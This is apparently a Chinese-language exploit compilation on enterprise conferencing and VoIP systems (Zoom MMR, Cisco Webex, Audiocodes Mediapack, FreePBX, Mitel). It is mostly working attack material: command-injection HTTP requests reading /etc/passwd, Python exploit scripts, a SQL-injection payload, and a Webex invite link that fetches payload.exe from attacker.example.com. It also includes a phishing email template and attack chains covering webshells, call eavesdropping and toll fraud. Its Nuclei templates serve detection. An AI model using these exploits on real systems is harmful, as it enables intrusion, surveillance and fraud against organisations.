企业在线会议与统一通信平台高危攻击链专题：Zoom / Cisco Webex / Mitel / Avaya / Audiocodes 漏洞全解析

POST /api/meeting/join HTTP/1.1
Host: target-mmr.example.com:443
Content-Type: application/json
Authorization: Bearer <legitimate_meeting_token>

{
  "meeting_id": "81234567890",
  "user_name": "test$(id>/tmp/pwned.txt)&name=normal",
  "device_type": "desktop",
  "media_config": {
    "video_codec": "H264",
    "audio_codec": "opus",
    "role": "participant"
  }
}

import requests
import urllib3
import json
import sys
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_cve_2026_22844(host, meeting_id, token, port=443):
    base_url = f"https://{host}:{port}"
    
    print(f"[*] Target: {base_url}")
    print(f"[*] Meeting ID: {meeting_id}")
    print("[*] Stage 1: 验证 MMR 服务可达性...")
    
    try:
        health_resp = requests.get(
            f"{base_url}/api/health",
            verify=False,
            timeout=10
        )
        print(f"[+] MMR 服务响应: {health_resp.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] 无法连接 MMR 服务: {e}")
        return False

    print("[*] Stage 2: 构造命令注入 Payload...")
    
    cmd_payload = "id"
    malicious_username = f"pentester$(echo {cmd_payload}>&2)&normal"
    
    join_payload = {
        "meeting_id": meeting_id,
        "user_name": malicious_username,
        "device_type": "desktop",
        "media_config": {
            "video_codec": "H264",
            "audio_codec": "opus",
            "role": "participant"
        }
    }
    
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {token}"
    }
    
    print("[*] Stage 3: 发送恶意 Join 请求...")
    try:
        join_resp = requests.post(
            f"{base_url}/api/meeting/join",
            headers=headers,
            json=join_payload,
            verify=False,
            timeout=15
        )
        
        if join_resp.status_code == 200:
            print("[+] 会议加入请求成功处理")
            print("[*] Stage 4: 验证命令执行...")
            
            verify_payload = {
                "meeting_id": meeting_id,
                "user_name": "test$(cat /etc/passwd>&2 | head -1)&normal",
                "device_type": "desktop",
                "media_config": {
                    "video_codec": "H264",
                    "audio_codec": "opus",
                    "role": "participant"
                }
            }
            
            verify_resp = requests.post(
                f"{base_url}/api/meeting/join",
                headers=headers,
                json=verify_payload,
                verify=False,
                timeout=15
            )
            
            print(f"[+] 验证响应: {verify_resp.status_code}")
            print("[!] CVE-2026-22844 漏洞利用完成")
            return True
        else:
            print(f"[-] 请求失败: {join_resp.status_code}")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <host> <meeting_id> <token>")
        sys.exit(1)
    
    exploit_cve_2026_22844(sys.argv[1], sys.argv[2], sys.argv[3])

id: cve-2026-22844-zoom-mmr-command-injection

info:
  name: Zoom Node MMR Command Injection RCE
  author: security-researcher
  severity: critical
  description: |
    Command injection vulnerability in Zoom Node Multimedia Routers (MMRs)
    before version 5.2.1716.0 may allow a meeting participant to conduct
    remote code execution via network access.
  reference:
    - https://www.zoom.com/en/trust/security-bulletin/zsb-26001/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cwe-id: CWE-78
  tags: zoom,mmr,rce,cve2026,cve,command-injection

http:
  - raw:
      - |
        GET /api/health HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200

  - raw:
      - |
        POST /api/meeting/join HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"meeting_id":"81234567890","user_name":"nuclei$(echo CVE-2026-22844_TEST)&normal","device_type":"desktop","media_config":{"video_codec":"H264","audio_codec":"opus","role":"participant"}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CVE-2026-22844_TEST"
          - "uid="
        condition: or

      - type: status
        status:
          - 200

GET /invite?meetingID=123456789&downloadURL=http://attacker.example.com/payload.exe&joinMode=guest HTTP/1.1
Host: webex.com
User-Agent: CiscoWebex/44.6.0
Accept: text/html,application/xhtml+xml
Connection: keep-alive

import requests
import urllib3
import sys
import hashlib
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_malicious_link(target_url, callback_url, port=443):
    print(f"[*] CVE-2025-20236 — Cisco Webex App 客户端 RCE PoC")
    print(f"[*] 目标 Webex URL: {target_url}")
    print(f"[*] 回调服务器: {callback_url}")
    
    malicious_invite = (
        f"webex://meet?meetingID=auto&"
        f"downloadURL={callback_url}/payload.exe&"
        f"joinMode=guest&"
        f"token=legitimate_lookin_token_12345"
    )
    
    print(f"\n[+] 构造的恶意会议链接:")
    print(f"    {malicious_invite}")
    
    print(f"\n[*] Stage 1: 验证回调服务器可达性...")
    try:
        resp = requests.get(
            f"{callback_url}/check",
            verify=False,
            timeout=5
        )
        print(f"[+] 回调服务器响应: {resp.status_code}")
    except requests.exceptions.RequestException:
        print(f"[!] 回调服务器不可达（可能正常 — 仅为检测）")
    
    print(f"\n[*] Stage 2: 生成攻击载荷信息...")
    
    payload_info = {
        "attack_type": "CVE-2025-20236",
        "malicious_link": malicious_invite,
        "delivery_method": "会议邀请链接",
        "execution_context": "Webex App 进程权限",
        "cwe": "CWE-829",
        "cvss": "8.8"
    }
    
    print(f"\n[+] 攻击载荷详情:")
    for k, v in payload_info.items():
        print(f"    {k}: {v}")
    
    print(f"\n[*] Stage 3: 构造钓鱼邮件模板...")
    phishing_template = f"""
Subject: Urgent: Team Meeting Rescheduled - Please Join

Hi,

The quarterly review meeting has been rescheduled. Please join using the link below:

{malicious_invite}

See you there,
IT Admin
"""
    
    print(f"[+] 钓鱼邮件模板已生成")
    print(f"\n[!] 注意: 此 PoC 仅用于授权安全测试")
    
    return payload_info

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <webex_url> <callback_url>")
        sys.exit(1)
    
    generate_malicious_link(sys.argv[1], sys.argv[2])

id: cve-2025-20236-cisco-webex-client-rce

info:
  name: Cisco Webex App Client-Side RCE via URL Parser
  author: security-researcher
  severity: high
  description: |
    A vulnerability in the custom URL parser of Cisco Webex App could allow
    an unauthenticated remote attacker to persuade a user to download
    arbitrary files, which could allow the attacker to execute arbitrary
    commands on the host of the targeted user.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-app-client-rce-ufyMMYLC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-829
  tags: cisco,webex,rce,cve2025,cve,url-parser

http:
  - raw:
      - |
        GET /api/v1/meetings/invite/parse HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"inviteLink":"webex://meet?meetingID=test&downloadURL=http://{{interactsh-url}}/test.exe"}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "test.exe"

POST /cgi-bin/main HTTP/1.1
Host: target-sbc.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 256

action=save&param=<injected_payload>&config_param=test;id>/tmp/proof.txt;echo&

import requests
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_cve_2025_32106(host, port=80):
    base_url = f"http://{host}:{port}"
    
    print(f"[*] CVE-2025-32106 — Audiocodes Mediapack MP-11x RCE")
    print(f"[*] Target: {base_url}")
    
    print("[*] Stage 1: 检测目标设备...")
    try:
        resp = requests.get(
            f"{base_url}/cgi-bin/main",
            verify=False,
            timeout=10,
            allow_redirects=True
        )
        
        if "Audiocodes" in resp.text or resp.status_code in [200, 301, 302]:
            print(f"[+] 检测到 Audiocodes 设备响应")
        else:
            print(f"[-] 响应内容未包含 Audiocodes 标识，继续尝试...")
    except requests.exceptions.RequestException as e:
        print(f"[-] 连接异常: {e}")
        return False
    
    print("[*] Stage 2: 构造命令注入 Payload...")
    
    cmd = "id"
    payload = f"action=save&param=test;{cmd}>&config=normal"
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    
    print(f"[*] Stage 3: 发送利用请求...")
    try:
        exploit_resp = requests.post(
            f"{base_url}/cgi-bin/main",
            data=payload,
            headers=headers,
            verify=False,
            timeout=15
        )
        
        print(f"[+] 响应状态码: {exploit_resp.status_code}")
        
        if "uid=" in exploit_resp.text:
            print(f"[!] CVE-2025-32106 漏洞已确认!")
            print(f"[+] 命令执行结果: {exploit_resp.text[:200]}")
            return True
        else:
            print(f"[*] 响应内容未包含命令输出，可能需要调整 Payload")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port]")
        sys.exit(1)
    
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    exploit_cve_2025_32106(sys.argv[1], port)

id: cve-2025-32106-audiocodes-mediapack-rce

info:
  name: Audiocodes Mediapack MP-11x Unauthenticated RCE
  author: security-researcher
  severity: critical
  description: |
    In Audiocodes Mediapack MP-11x through 6.60A.369.002, a crafted
    POST request may result in an unauthenticated remote user's ability
    to execute unauthorized code.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32106
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-94
  tags: audiocodes,sbc,voip,rce,cve2025,cve,mediapack

http:
  - raw:
      - |
        GET /cgi-bin/main HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Audiocodes"
          - "Mediapack"
        condition: or

      - type: status
        status:
          - 200
          - 301
          - 302

  - raw:
      - |
        POST /cgi-bin/main HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=save&param=test;id>&config=nuclei_test

    matchers:
      - type: word
        words:
          - "uid="
          - "gid="

      - type: status
        status:
          - 200

GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+ HTTP/1.1
Host: target-freepbx.example.com
Cookie: PHPSESSID=attacker_session_id
Connection: close

import requests
import urllib3
import re
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_cve_2025_57819(host, port=443, use_ssl=True):
    scheme = "https" if use_ssl else "http"
    base_url = f"{scheme}://{host}:{port}"
    
    print(f"[*] CVE-2025-57819 — FreePBX 认证绕过 + SQLi RCE")
    print(f"[*] Target: {base_url}")
    
    print("[*] Stage 1: 检测 FreePBX 环境...")
    try:
        resp = requests.get(
            f"{base_url}/admin/",
            verify=False,
            timeout=10,
            allow_redirects=True
        )
        
        if "FreePBX" in resp.text or "Sangoma" in resp.text:
            print("[+] 检测到 FreePBX 环境")
        else:
            print("[!] 未检测到 FreePBX 标识，继续尝试...")
    except requests.exceptions.RequestException as e:
        print(f"[-] 连接异常: {e}")
        return False
    
    print("[*] Stage 2: SQL 注入验证（EXTRACTVALUE 报错注入）...")
    
    sqli_payload = (
        "module=FreePBX%5Cmodules%5Cendpoint%5Cajax"
        "&command=model"
        "&template=x"
        "&model=model"
        "&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',"
        "(SELECT+USER()),'~'))+--+"
    )
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Connection": "close"
    }
    
    try:
        sqli_resp = requests.get(
            f"{base_url}/admin/ajax.php?{sqli_payload}",
            headers=headers,
            verify=False,
            timeout=15
        )
        
        user_match = re.search(r'~USER:([^~]+)~', sqli_resp.text)
        if user_match:
            db_user = user_match.group(1)
            print(f"[+] SQL 注入成功! 数据库用户: {db_user}")
        else:
            print(f"[-] SQL 注入未返回预期结果")
            print(f"[*] 响应: {sqli_resp.text[:300]}")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] SQLi 请求异常: {e}")
        return False
    
    print("[*] Stage 3: 提取数据库版本...")
    
    version_payload = (
        "module=FreePBX%5Cmodules%5Cendpoint%5Cajax"
        "&command=model"
        "&template=x"
        "&model=model"
        "&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~VER:',"
        "(SELECT+VERSION()),'~'))+--+"
    )
    
    try:
        ver_resp = requests.get(
            f"{base_url}/admin/ajax.php?{version_payload}",
            headers=headers,
            verify=False,
            timeout=15
        )
        
        ver_match = re.search(r'~VER:([^~]+)~', ver_resp.text)
        if ver_match:
            db_version = ver_match.group(1)
            print(f"[+] 数据库版本: {db_version}")
    except requests.exceptions.RequestException:
        pass
    
    print("\n[!] CVE-2025-57819 漏洞已确认")
    print("[!] 后续步骤: 通过 SQL 注入创建管理员账户或写入 Webshell")
    print("[!] 注意: 此 PoC 仅用于授权安全测试")
    
    return True

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port] [--http]")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 and sys.argv[2].isdigit() else 443
    use_ssl = "--http" not in sys.argv
    
    exploit_cve_2025_57819(host, port, use_ssl)

id: cve-2025-57819-freepbx-auth-bypass-sqli-rce

info:
  name: FreePBX Authentication Bypass Leading to SQLi and RCE
  author: security-researcher
  severity: critical
  description: |
    FreePBX versions 15, 16, and 17 contain a vulnerability in the
    Endpoint Manager module that enables unauthenticated attackers to
    bypass administrator login controls and perform SQL injection
    leading to remote code execution.
  reference:
    - https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  tags: freepbx,sqli,rce,cve2025,cve,auth-bypass,voip,pbx

http:
  - raw:
      - |
        GET /admin/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "FreePBX"
          - "Sangoma"
        condition: or

      - type: status
        status:
          - 200
          - 302

  - raw:
      - |
        GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "~USER:[a-zA-Z0-9_]+@[a-zA-Z0-9._]+~"

      - type: status
        status:
          - 200
          - 500

CVE-2025-57819 (FreePBX 认证绕过)
    ↓ 未认证访问 /admin/ajax.php 端点
SQL 注入获取数据库凭据
    ↓ EXTRACTVALUE 报错注入
创建恶意管理员账户
    ↓ INSERT INTO ampusers
通过管理面板上传 PHP Webshell
    ↓ /var/www/html/shell.php
获取系统 Shell (asterisk 用户)
    ↓ sudo 权限或 SUID 提权
内网横向移动
    ↓ 利用 SIP trunk 凭据访问其他 PBX
全域电话系统控制
    ↓ 劫持呼叫路由 + 通话窃听

CVE-2025-47188 (Mitel 电话命令注入)
    ↓ 通过端口 49249 BusyBox httpd
获取电话 root Shell
    ↓ 默认凭据 backdoor/backdoor
配置电话为被动监听模式
    ↓ 修改 SIP 配置重定向 RTP 流
窃听会议室通话
    ↓ 录制音频传输至外部服务器
获取敏感商业信息
    ↓ 利用通话内容进行社会工程
高级持续性威胁 (APT)

CVE-2025-32106 (Audiocodes MP-11x RCE)
    ↓ POST 请求命令注入
获取 SBC 设备控制权
    ↓ 篡改 SIP 信令路由
劫持出站呼叫
    ↓ 将呼叫路由至国际付费号码
PSTN 通话欺诈
    ↓ 大规模高费率呼叫
经济损失 + 合规风险
    ↓ 利用设备作为内网跳板
渗透企业 VoIP 网络

CVE-2026-22844 (Zoom MMR 命令注入)
    ↓ 会议参与者发送恶意输入
MMR 命令执行
    ↓ 获取媒体路由器控制权
窃听所有会议音视频流
    ↓ 解密和录制会议内容
获取企业战略决策信息
    ↓ 利用信息进行内部交易或竞争情报
持久化后门
    ↓ 在 MMR 上安装隐蔽监控
长期情报收集